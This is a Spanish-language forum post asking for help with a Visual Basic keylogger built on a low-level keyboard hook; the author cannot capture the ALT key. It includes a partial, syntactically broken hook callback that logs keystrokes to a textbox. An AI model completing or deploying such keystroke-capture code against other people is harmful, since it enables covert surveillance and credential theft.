Estoy haciando un keylogger mediante Hooks, el problema es que me detecta TODAS las letras menos la tecla ALT...
Ya intente probar con la constante VK_ALT pero no funciona :S
Me fije en el API-Viewer y no hay ninguna otra tecla que se le parezca xD
El metodo que uso para obtener una tecla es el siguiente (salteandome las declaraciones)
Código:
Public Function LowLevelKeyboardProc(ByVal nCode As Long, ByVal wParam As Long, lParam As Long) As Long
On Error Resume Next
Dim xpInfo As KBDLLHOOKSTRUCT
If nCode = HC_ACTION Then
CopyMemory xpInfo, lParam, Len(xpInfo)
Num = xpInfo.vkCode 'Obtener el numero de la tecla presionada
If xpInfo.flags = 1 Then
Select Case xpInfo.vkCode
Case VK_DELETE
Letra = " [DELETE] "
Case Else
Letra = ""
Form1.Text1.Text = Form1.Text1.Text & Letra
End If
Else
LowLevelKeyboardProc = CallNextHookEx(KeyBoardHook, nCode, wParam, lParam)
End If
End Function
Si alguien me puede ayudar estaria muy agradecido...
Un salud0s
G0nz4